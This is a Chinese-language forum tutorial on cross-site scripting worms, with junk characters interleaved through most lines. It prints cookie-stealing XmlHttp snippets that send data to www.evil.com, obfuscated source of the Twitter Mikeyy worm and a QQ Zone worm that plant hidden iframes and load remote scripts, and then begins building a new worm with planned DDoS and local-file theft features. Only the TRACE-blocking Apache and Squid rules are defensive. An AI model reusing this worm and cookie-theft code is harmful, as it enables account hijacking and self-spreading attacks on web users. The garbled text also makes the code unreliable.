$ j( c# M* V; ]: W4 }) Dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");4 s, C2 l5 N2 `% ~: T, y
9 C! ?% S; B! x
XmlHttp.open("GET","http://www.google.com",false);( d0 E; t2 A* w, c
+ {: R8 \: R( X. `& `0 v# o* _) M# |
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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+ C" J0 U4 ?, U7 |6 u+ WXmlHttp.send(null);
% q9 p! N! s8 r: U6 l5 [1 k) [! F9 j2 C7 x0 r0 ^
var resource=xmlHttp.responseText
+ }1 h; b! `; w) S( w8 h. f$ x4 ]1 p0 e8 ?* B1 X9 F6 d1 W
resource.search(/cookies/);
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......................
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1 @- n# O/ D( E/ L</script>5 H; y' I% k0 V
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5 o% ?; x+ { ^3 p9 c/ H9 B0 Z+ T6 |% s; X
/ K6 s# G1 ^6 C, d% [* h
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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; W' z# }$ w" }! C( B% N: b# U[code]
* F* w y* W; \3 o2 V
, G0 Z5 g& n+ j, \0 aRewriteEngine On/ b( g6 C$ O, y5 W0 x \
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RewriteCond %{REQUEST_METHOD} ^TRACE: U# `" X% V8 g" p# D; w [: a) m
, I& I4 Q5 d# d, `+ ZRewriteRule .* - [F]3 @* c; M1 p3 h, d
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6 h, \8 h R- r3 M' x1 [) l
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ B; J" S- J; M5 @6 f/ A, x/ G+ b* A/ m0 ?, L) Z
acl TRACE method TRACE
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1 w/ P* [4 k3 g) R* \! R...
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1 M% U# h' f+ V$ @/ w2 whttp_access deny TRACE
" S& u/ L' n! d复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");# F A* c" H7 y! a- `8 E/ D; ^
2 |7 O% j0 Q4 \( vXmlHttp.open("GET","http://www.google.com",false); O! x4 i1 `4 z" I# \- s. Y
$ D- `5 n U2 l, K- ?3 _* tXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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0 g" s" n+ s6 b5 IXmlHttp.send(null);+ H: f$ ~; b8 H. n+ t8 ]: \
# U0 ~" [: S" H
</script> G+ m! }( c" u6 G/ L3 a6 e
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>' A) n0 i" l; q" I' B4 l
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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$ m+ t5 w7 s- ?2 |3 P( K3 F# d# O9 K8 [9 t' P
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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<script>/ h% J$ U, }3 @
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. y! F( s. v, h% H1 P复制代码案例:Twitter 蠕蟲五度發威
0 V J3 X& Z9 E. ^第一版:
, X# A/ t5 f2 V4 Y 下载 (5.1 KB)/ I k- Q0 h* u3 p5 w2 ? {; K6 c
4 f. Z8 D* V, y% o7 X
6 天前 08:271 ?$ j! [3 ?1 i T" o
$ j) H9 H: | q第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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8 z% e: O' o7 l. Y7 b 2. 9 z. D+ m' b! R# l& G+ g: p& H6 c8 I
. Y$ V- O$ c0 `8 L$ u2 l& w7 f9 M6 m 3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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+ D- ^, `, o+ _ k/ W1 l% } 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ' H% T) i6 C Q k9 `& y- J1 c3 V
! M: R: g1 J( Z7 K, R 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } , S0 A, G4 x, a1 Z+ g
3 ]' [7 o) k6 r7 g" Z' D 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } , y) N, P5 g7 R
, `9 ~( m' _" x1 ?1 F s' \
8. catch(e) { _0x6687x2=false; }; }; }; 5 |; k! j& h5 }" S, S# `, i
复制代码第六版: 1. function wait() { * _, [; x+ t* n/ ]# C3 g! u, h
: y. w7 R: Q; V" V
2. var content = document.documentElement.innerHTML; " x) o1 \+ ?! d/ `/ j2 V( K
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); $ L2 x/ d( J7 U: q+ I1 A' x8 N
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ( n3 Q; b2 W! @$ {
. X/ n3 V8 S# C$ c% Q0 e4 D: U8 D 6. var authtoken=authreg.exec(content); 9 \ B( G+ |" X1 X7 q; K+ i
0 q, F! S, V( |0 O# D- k 7. var authtoken=authtoken[1]; 2 e! I7 l9 C. `3 p% S
/ b/ I$ m1 e% U) C 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; # Y. Z- t4 h+ a5 B. {) b
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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" G6 ]6 D: n% |6 N* S1 o8 g 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
+ T* j8 T7 r. i) G/ r. c" a+ {
& @" ~3 T9 o* W, N 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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/ ?" p0 R7 @: N/ `0 ^ 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 4 V( z- V' [) ~
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 1 }/ y/ p5 I# A+ E8 S
% f& j8 n. C9 y 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ; d- }3 J$ [" o! H" K$ r. `. C
4 I5 v! y; a! I9 W) \- a. x 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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& S2 p' R6 p. @- r5 ]! ] 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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" R$ q; c' C' K 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 3 T0 J: R; [. Q
. q- P5 q2 ?. ?3 g1 `8 m6 m* m 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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# x6 c* _' M3 p2 o) V1 E# {+ I 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; + u! K# D4 @0 j
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26. var updateEncode=urlencode(randomUpdate[genRand]); * f6 u+ n% |; V' ^" N# f
, H& L! m+ N+ g% w+ @, W 27. 0 p: i' j! N2 z k# J$ w( ]- l
/ V D( f) j/ R/ ] 28. var ajaxConn= new XHConn(); 1 \5 P2 v% ^' y- K% D( \4 H: t( S# a
& n3 s% o5 T* R 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 7 ~) h; G z3 \. I2 f. E. R
- X$ X$ `# _+ d" t" ] \0 ?- f
30. var _0xf81bx1c="Mikeyy"; 6 C- @: R: ?( K; O; L/ e' o
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31. var updateEncode=urlencode(_0xf81bx1c); 0 h. y, t7 C+ Z M6 U' I
! @& p$ X" w8 A 32. var ajaxConn1= new XHConn();
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0 v3 V' d [* x. M 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
- A4 r6 _0 k- ~+ G( w2 X4 S( W" q% v" {
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 3 t5 {/ Z( z# G% o
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35. var XSS=urlencode(genXSS);
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0 L) W2 E# ]4 l 36. var ajaxConn2= new XHConn();
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! _! N6 |' w3 a 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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1 [. j) ?( C# z8 r 38.
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' X( u: P" `% [8 d: M 39. } ; m1 \) A5 E! g' j2 m* Y
0 A8 }3 G# H9 l V3 v
40. setTimeout(wait(),5250); 5 j E9 O, E. K$ w
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;( g1 ~4 p! O8 I' _
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! M L5 ^* N) z( q" Lvar shendu;shendu=4;
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/ _6 m9 Z9 C: p, ^4 ]//---------------global---v------------------------------------------1 c, m2 f8 ]4 f# r' R
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?0 b' U! p x7 `- h, R: z
+ z, _. R& X6 g5 ]( k0 j& Q! X" }3 qvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";9 `* z4 T R! e
& n; ]5 N5 |+ h( B. ^/ dvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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: L! D$ v7 d: d- ]% J" _6 I8 T6 s gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");& D2 P2 o" r: j. ?# H& T9 s; ~- ~
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visitorID=visitorID.substring(cookieS+14);, S2 u4 P% j8 {7 _' H
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cookieS=visitorID.indexOf(",");
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4 X- V" c9 Y/ i) ^6 t N( d* S visitorID=visitorID.substring(0,cookieS);' m) t; ?3 L4 R2 R. {
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get_my_blog(visitorID);
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9 w( o( p0 o6 I8 ]2 u# ~ DOshuamy();
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5 u+ `% Z) F& e: \* F. x& P0 n f
//挂马
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function DOshuamy(){, F; Q1 n, S3 `8 ?6 i2 K- ?
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var ssr=document.getElementById("veryTitle");% ^9 h* ?" K3 @. J o+ a( D
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");9 x% `( o+ U& P# h: q
' M1 c; a3 w7 r# U}
+ ]5 ~* d9 D6 C) |% B: F! R* f: z. z3 J( T, y& l5 L
+ S3 @$ b8 V! D4 ~/ d- x
' O* ~: j# ?* m//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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. j7 W$ A& o4 f* x5 P8 xfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";' ^! S5 N y$ Y5 G$ j: B
0 {2 {' \- p$ E xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的& [$ x B% J+ H/ M
+ j+ j/ j0 ]8 b7 G6 `: j xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数' W( x/ v/ z1 g* A4 `
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}
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( x) q/ `" m* p+ [: [. m//这里似乎是判断没有登录的
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function get_my_blogurl(guest){ t3 p7 ?+ D% j2 A7 r
/ ?) k( a8 a. p# [ var mybloglist=guest;9 A4 p _* G3 ]% T
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var myurls;var blogids;var blogide;7 D5 k Y% F% X/ \2 c
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的# c+ q% L7 q/ N( G" S
+ x1 f4 o" G0 b2 } mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');/ ?6 O& C. P6 F% Y5 R* h8 e |
+ I; i/ Z& j2 [4 {, K8 L& d myblogid=mybloglist.substring(0,myurls);
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/ o J0 o$ \% T% i& M6 N( w }else{break;}
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( B2 q3 u7 A2 E4 o: }$ @* Mget_my_testself(); //执行这个函数0 F+ e1 H% d& k5 L2 v3 d8 E6 S
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}
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% n* w( I; v# ^% z2 Z5 W
: P; @( a9 ?; Y; r- B' ?( q//这里往哪跳就不知道了% O) C/ A& l9 X' U7 c4 J$ `
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function get_my_testself(){
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& R" ^% a$ r6 l3 v! {) T for(i=0;i<myblogid.length;i++){ //获得blogid的值
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6 [7 _9 h2 w; r( i P0 n2 x- J var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();7 m% i- N+ O6 j: H6 K
& W. j. ]" n) E7 t% | var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
3 I, F4 @( `. l, g. D$ P" P& _, @7 P
if(xhr2){ //如果成功% |* w, \9 v- }( v; z
* `# D: b7 P* y- L9 j; H xhr2.open("GET",url,false); //打开上面的那个url' ?6 }- I3 c' o7 K
; @$ W( |' k5 v( G: E xhr2.send();
- P* W' o, A) X* n4 [# K! q9 |. `% _
guest2=xhr2.responseText;
1 \$ b- ^8 X) e6 r" a6 w- q$ S) s! I9 L
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
9 H( V2 W; N K3 \: q2 n! o9 p6 V7 M& ~+ w, I5 y1 o0 c
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
% z A T) r# G! ?+ d6 n
, Z( k" a* @* d: X! ?& g! ] if(mycheckmydoit!="-1"){ //返回-1则代表没找到
4 `' J8 l5 P4 Y2 _* K
' S+ L( U2 f' J; m targetblogurlid=myblogid;
/ o9 U3 r/ {! K3 c5 c- U1 H5 m/ M0 G
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
5 z1 h& N3 v$ T6 B9 {, J; n4 e$ h3 v `4 d
break;
2 {) ~+ T, T% O/ V' D& ?3 j+ q, L
}
9 O9 d; s/ ?5 s2 p% K( S
) m% ?- q/ i9 b8 Y$ M if(mycheckit=="-1"){+ w# U( B* w& s3 q1 e5 a* p2 i8 v
6 h i9 c2 L/ L d @5 F" P targetblogurlid=myblogid;4 ?) ~0 g) y1 U# U: }. B
; G+ }% {& ^: V: ]/ C add_js(visitorID,targetblogurlid,gurl); //执行它# w6 D% q' w9 w$ L# i
. c5 e$ z( w2 R; u' `4 m break;
$ R* B6 t9 R6 u" \5 x q% u
`9 ?; R; S" e4 T3 S7 B& l: q }
& G0 m7 o3 j) e2 U( J
9 a r- y; `3 d* \ }
) d# l& |: k: A% N& q2 u3 S
& t$ I0 S' `# ^# ]6 H2 {+ N0 W& N* d}& h- D1 G/ i6 q2 V# u3 n
7 M, l# o5 `% a( a, M}6 w( d3 i8 k, i1 ^4 `, W3 K' V
; `& Z" ?/ A! T+ N$ D2 j- e) d9 y
. P! K, {# z- s. ~2 z, D6 l//--------------------------------------
( I. M1 \* }2 S1 a% q. u& N
/ w* p0 \ v/ D+ I' `//根据浏览器创建一个XMLHttpRequest对象
1 t7 @, D0 P+ n! t) S0 x, z: ]5 t8 K- {8 u' k- k; {
function createXMLHttpRequest(){- |( K8 d* v6 E0 {
8 h6 C% b9 f4 g$ i& a7 h var XMLhttpObject=null;
- R i; i; s9 O7 g- q: H* I( w
+ l# p, @& Z* J8 w5 R; J: L) B# k if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
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! Z. \/ |' ^6 y$ \( @ else & F. h$ B2 G; f2 z* y
9 e" I1 ^! i$ z
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
% |: _$ ]$ \9 D2 U+ T( o& S$ P+ S, T- ]/ h9 |6 p0 p
for(var i=0;i<MSXML.length;i++) % l4 f* z" G/ |% l- N4 n N
* i: N) g4 M( `7 ^
{ " \" k; R6 ?0 u
, V R; ]9 }* g$ B2 y
try
9 {* J O1 w, y* w6 t! a' V" ~ u+ v2 `3 ~
{
! ^# b! a3 j+ S- R) ?& }- b: G) b5 v& I/ p. V
XMLhttpObject=new ActiveXObject(MSXML);
$ @3 _! k; @' g" p
% x3 Y( b; ]( U4 \! H break;
1 m4 d" S @5 a. c0 Q3 F! T- I
2 x2 y" r: u9 z1 W/ J! L U } % [2 G* @- s# M- M/ }
9 O+ N( H* Z. `0 _ R& E catch (ex) {
7 ^% Q$ [1 P9 O! _, \' B( y! K) h4 p5 e# }) g- y O; P! T
}
7 I0 r: G7 ~6 [ y8 @9 k- m/ O! o6 z" ?. P
} : T3 B/ j* W/ X" v& A) D M
' X1 [5 }) S, X. x$ T8 p }
2 ~. r3 g! m& j9 M6 _! ~5 O/ ~ D4 a2 H; A4 Z" D* `' p" U
return XMLhttpObject;
6 s4 G$ J1 R1 v3 w( {& c. O, X y6 Y: C! s, s+ k7 T
} " q/ W& A" k7 W
# j1 w# x5 i) o$ Z8 s7 ^/ a
% \% I) u8 m8 @! c* X) B: Z3 I
$ F+ ^7 s' u0 G' X' f
//这里就是感染部分了; O$ K2 Z- O: r2 ~
8 A8 }* c! ~; O3 Y% T5 ~function add_js(visitorID,targetblogurlid,gurl){4 g3 [6 N- z7 H1 l. J1 o& t/ a, t
; O! G0 ?9 K3 S8 p
var s2=document.createElement('script');
( E. j8 j5 G/ h5 H+ ? ~- f( O9 V! P! f( Z. q z
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();- ^1 {# E' K2 B9 y' J
0 {4 i/ B& z) B) A/ P% H3 w
s2.type='text/javascript';
9 e! u5 }3 H4 H- |4 q, O3 z0 Y3 e: L& F" q
document.getElementsByTagName('head').item(0).appendChild(s2);2 ^- W% g: K- h/ |+ S7 C
5 p2 ~; S/ I; w& l$ F7 ^2 @& o$ c}
5 q, K! ^6 L7 v1 \. L) K$ {( w" P' ]
9 i8 `: Q! v6 q
6 @& }( A5 M' p6 c
: A, r' F/ \. [) E$ L% L1 @; Zfunction add_jsdel(visitorID,targetblogurlid,gurl){
& Z4 v2 {. [7 p/ K0 @
' a9 b4 G x O" Jvar s2=document.createElement('script');
1 b M% p! H9 _% t9 o: I+ U7 D9 q1 H B$ F
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- d7 L* y3 ~ `( B. z! `* w9 Q# ^; a' e' C: ]
s2.type='text/javascript';
, [' v5 q6 J! w- I" B
( p: ]. ~* z( l, _0 k# g+ `document.getElementsByTagName('head').item(0).appendChild(s2);8 |* Z8 n: B/ N9 E U
" E5 |" X! o2 H/ a}8 Y# k2 L& j/ c3 L: D& M
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:9 T' u7 T+ c0 r7 I
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)" M. L7 {$ I% U8 A
( e9 U( q0 _4 F& ]. R$ y6 K8 p& g2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.); j( V7 T9 W" G! y
3 S( {+ b9 F# `( `
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
8 j( p& N" M% e8 g1 S0 i: L. k" w* M6 h. E& d
% ?; R+ W6 b0 F9 T M( u6 b
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.+ F+ m5 N- a( D" M Y! b+ t+ {) V
$ @' n9 S# j9 @8 e5 z. Y首先,自然是判断不同浏览器,创建不同的对象var request = false;8 [) `% M$ R; Y S, _& n
1 M5 e1 A' c- \1 M5 P" d2 w
if(window.XMLHttpRequest) {$ o2 E- t2 A+ s+ g7 q
. N- j5 l4 O b0 j0 |7 h! E
request = new XMLHttpRequest();0 h0 ?" J6 I3 ?$ K/ b7 f* z; q4 P
) [+ d5 O; h. W( x' Z
if(request.overrideMimeType) {
) B/ \/ ^! c _: X, o1 a
2 ]5 ^2 N$ P2 @( z% j: |. |) trequest.overrideMimeType('text/xml');- Y. ^& j. X3 a# ^
( f. f2 z2 l! Z, b9 ^& N3 o}5 c0 L( U1 y! J# b9 P8 n
& n6 M: v6 a& O7 s$ N* N
} else if(window.ActiveXObject) {& s8 N$ k# S. p- E Q
& ]$ E: d0 p1 `4 }" _
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" H7 v, r1 d2 t$ z; o/ L2 c h& G+ `: \8 G$ z9 t
for(var i=0; i<versions.length; i++) {7 F8 A; |6 c- Q; O
4 L8 \6 Z* h. V" wtry {, P, H0 D9 `7 l n; x M" Q
. j' U+ x+ X) ^& k
request = new ActiveXObject(versions);! ~( L+ G* ~5 q5 g3 Y
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} catch(e) {}1 p r( [" P+ Z& C" ~
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}4 t6 J! M% H% h0 Q! y
) L4 r8 y5 _1 R( |' \3 J* x
}* {. x- f& r" L; r
+ s& X& B7 `6 d- ^* x* L' }0 _2 oxmlHttpReq=request;# k# _# }* U4 H# _; \$ n
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
& P! H: G& L! i$ u, l! E
3 g# I( B5 h, C, _- n. n4 }, J; t var Browser_Name=navigator.appName;
+ h- \* s3 z1 v# B$ f* p) G
$ Q# M0 r8 n# k) }! c var Browser_Version=parseFloat(navigator.appVersion);5 o/ w! f% |" `! o& {: D! \
5 K, B: q9 S( w" I1 o/ ~
var Browser_Agent=navigator.userAgent;3 f6 Y4 n9 ^+ n4 p4 }! Z7 O* Y n% d5 y
3 W) g6 u/ o7 i. {; E7 S
5 v/ E8 w4 F# Q7 ~ |& f0 \
! ]# W- ~, B, |) L ?: H, b
var Actual_Version,Actual_Name;
) G$ j0 ]( O' O. Y) n
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! j# ]: z# y7 L, S8 z! }3 V' H
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
6 c1 U5 b9 q$ H' v
+ S5 q& W. g9 k0 b1 R# }. ? var is_NN=(Browser_Name=="Netscape");6 H6 R) C: ?* J# O8 C, ^9 [* |: O
- @1 Q2 P, X4 T var is_Ch=(Browser_Name=="Chrome");/ V& |0 e" @. _( P7 l$ z
[9 K% P! H8 u
2 U1 I4 x9 H" w) l. ]6 {% J, q
0 E% N2 [: s2 r& l4 } if(is_NN){
2 x, v+ X8 a+ t3 D9 e6 g8 M/ x/ G" B. v- N0 _
if(Browser_Version>=5.0){# m7 I% P O1 S9 m3 j$ S# @, f! j5 p
# w* } F' N' C. [ var Split_Sign=Browser_Agent.lastIndexOf("/");
5 x6 Z$ k2 G2 ^* x' R; B8 N( w! D( x
var Version=Browser_Agent.indexOf(" ",Split_Sign);) X( d$ O) \5 _# [6 `
2 T) W$ x( O0 s: B$ b4 j var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
B8 n1 p$ v! B& p
4 G2 {! f9 x5 T) a; Z8 A& `
n7 }; f- D- l( {. |6 `" V3 I9 j6 ?6 S6 O% D6 c
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);& a7 Z$ f6 b* U9 y
" t8 X8 L2 }5 O/ X. x0 d
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);6 v2 I, m8 q" p+ T" \0 g
' q9 u3 A* |0 h1 Z( W5 x, c! j: h# K }
1 u& J0 e, z! X( _
3 V: U9 a5 i' @2 u$ _2 S else{3 c; j7 e1 ?: A1 h. y
: h `7 |* }: ], n4 r) e0 _ Actual_Version=Browser_Version;
1 M/ _, s! y. Q' |/ f5 {7 q
% a1 T8 ^ z2 P# G$ o Actual_Name=Browser_Name;
- {6 {% q9 {2 E! ], Z n
" i# R" C' ^1 ~0 r4 V1 }& Y: v }
5 L( U! U* [; O, J3 i* q$ |3 o3 g# f+ i/ w1 t1 n" c" C* M
}
4 Z! n2 s) F: X
, r ^: U9 \3 C( x5 E8 d else if(is_IE){
$ ~1 d# d; e5 t+ H$ E0 [+ D: ~0 A# Y! x
var Version_Start=Browser_Agent.indexOf("MSIE");
5 \- {4 j2 g: V
, r+ N2 ^3 Q* m1 j- o/ d var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 M* J, R7 I; m$ c: `& m. {1 l: p7 A( B/ H
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)9 r4 l% Z3 A2 O+ s3 e! K
& {; |6 @$ p5 Q5 m5 T+ u
Actual_Name=Browser_Name;
' N" `9 `- \/ e* d& ~, x0 X6 d( Q2 z# [- h+ r
( p5 N5 _* F/ T- s& R2 Q7 ^8 k0 K1 g9 @' b- a
if(Browser_Agent.indexOf("Maxthon")!=-1){
4 _. S4 u7 b/ E1 d' n6 x' q3 a
4 h5 ]9 S. A; [) m: j/ W3 U+ O Actual_Name+="(Maxthon)";
% u5 ^* h4 T6 W& R$ @
e: ~: {9 \0 @ H4 { }
! S! W9 {+ k" t& C% F! C7 t3 z( K
else if(Browser_Agent.indexOf("Opera")!=-1){! N* s' Y7 s4 J1 ?6 l
: J4 H7 J5 v0 Y Actual_Name="Opera";
$ x/ ?; w8 ^" H S% v+ S
( W; R/ P# j" C var tempstart=Browser_Agent.indexOf("Opera");3 U* S4 ]$ L0 v
/ h3 h5 ^5 R% S4 f$ R var tempend=Browser_Agent.length;
8 k& T9 s4 B8 Z, M- D5 \- a' e
+ K/ @ q E. b6 t; k+ {& r Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}: }+ z. @7 }' J2 | J6 y6 J5 M
- Y" p0 ?2 f7 X$ F }
( j" \) p& M& i8 S
. N' y z+ p: ~& z" _ else if(is_Ch){
- Q* \! X6 d) e! Z7 c5 h4 P9 K
, `2 q4 @3 U3 {8 |& n6 L var Version_Start=Browser_Agent.indexOf("Chrome");: c8 j! j' J. K+ V; `8 }
% C- a3 N* O# N var Version_End=Browser_Agent.indexOf(";",Version_Start);+ @4 L( ~1 r+ i3 h
0 h) s% `# Q7 @- N" X3 ] Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)' p2 V* h0 c' c% V
w& c) Z! C7 f$ N% U8 ?5 Q
Actual_Name=Browser_Name;) C% R/ [/ f; }" d
A7 Y3 G8 |: S; t
$ _/ _2 K$ {* |+ |1 |3 C. ~# ^
% @! g6 R# J B }" t$ r if(Browser_Agent.indexOf("Maxthon")!=-1){
2 W# J5 L! W: k
5 j$ r" g5 ?' X3 V& y C8 p! R Actual_Name+="(Maxthon)";
+ @9 u/ u$ j( p- V& n% b5 }& n& K6 T4 K; s5 K
}
* r" c: r1 T! t$ X1 R- K; W# ^+ w I$ w* ?' r3 B, m* n: T
else if(Browser_Agent.indexOf("Opera")!=-1){7 `6 A% w' E- W# A% j; a; C
